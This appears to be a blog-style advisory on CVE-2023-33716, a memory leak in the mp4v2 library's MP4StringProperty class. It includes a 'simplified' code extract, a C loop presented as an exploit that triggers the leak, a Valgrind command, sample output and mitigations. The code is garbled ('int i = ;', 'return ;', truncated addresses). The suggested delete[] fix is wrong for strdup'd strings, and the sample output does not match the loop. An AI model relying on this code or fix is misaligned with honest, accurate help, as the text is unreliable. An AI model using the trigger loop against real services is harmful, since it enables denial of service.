CVE-2023-33716 is a security vulnerability affecting the open-source library mp4v2, specifically version 2.1.3. This issue is related to a memory leak found in the MP4StringProperty class defined in the mp4property.cpp source file. If your applications use mp4v2 to manipulate or parse MP4 files, this security detail is essential reading—here’s how it works, what you’re risking, and how to test it yourself.

What is CVE-2023-33716?

CVE-2023-33716 describes improper memory management in the mp4v2 source code, where certain objects’ memory isn’t released correctly, leading to leaks each time they're used. Over time, this can exhaust system memory, causing slowdowns, crashes, or even opening up avenues for denial-of-service (DoS) attacks.

Let's check out the problematic code section.

File involved: mp4property.cpp
Class: MP4StringProperty

Here is an exclusive extract illustrating the problem (simplified for clarity)

// mp4property.cpp
MP4StringProperty::MP4StringProperty(const char* name)
    : MP4Property(name)
{
    m_values = NULL;
}

MP4StringProperty::~MP4StringProperty()
{
    // Leaky part: m_values is not always properly freed!
    // Properly should have: delete[] m_values;
}

void MP4StringProperty::SetValue(const char* value, uint32_t index)
{
    // Allocate memory without always cleaning up previous allocations
    m_values[index] = strdup(value);
}

What’s wrong here?

- m_values is often newly allocated via strdup but isn’t always freed upon destruction or when reassigned.

How to Exploit the Leak

To demonstrate the exploit, you just need to process a sequence of MP4 files or metadata strings using the vulnerable library. Each invocation creates a small leak—harmless at first, but over thousands of iterations, they add up.

Here is a code snippet that would trigger the memory leak

#include <mp4v2/mp4v2.h>
int main() {
    for (int i = ; i < 10000; i++) {
        MP4FileHandle hFile = MP4Create("temp.mp4");
        // Set metadata; this uses MP4StringProperty internally
        MP4SetMetadataTool(hFile, "TestTool");
        MP4Close(hFile);
    }
    return ;
}

Run this and watch your memory usage climb—even after files are closed!

Here’s how you can catch the leak with Valgrind

valgrind --leak-check=full ./leaky_mp4v2_test

Sample output

==12345== 1,024 bytes in 256 blocks are definitely lost in loss record
==12345==    at x4C2FB55: strdup (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==12345==    by x10B967: MP4StringProperty::SetValue
==12345==    by x10CFA2: MP4SetMetadataTool

Developers: If you use mp4v2 v2.1.3 directly in your code for handling MP4 files.

- Applications: Programs and servers that process large numbers of MP4 files (e.g., media servers, transcoding pipelines).

Official References and Fixes

- CVE Detail - CVE-2023-33716
- GitHub Issue - mp4v2 project
- Patch Discussion / Pull Request

Status:
At the time of writing, check the links above for the latest patch or workaround. Some mitigations include:

Explicitly freeing string memory at the right time (delete[]) in ~MP4StringProperty().

- Upgrading to a patched version if/when available.

Monitor Memory: Use tools like Valgrind or AddressSanitizer during your tests.

- Limit Inputs: Sanitize and restrict user input when possible to avoid unnecessary file processing.

Conclusion

CVE-2023-33716 is a textbook case of why even small memory missteps in multimedia libraries can have big, long-term impacts. If your product or project touches MP4 files and uses mp4v2 v2.1.3, review your dependencies and update or patch today.

References

- CVE Entry on mitre.org
- mp4v2 Official Repository
- Valgrind Memory Debugger

Timeline

Published on: 06/01/2023 03:15:00 UTC
Last modified on: 06/08/2023 12:29:00 UTC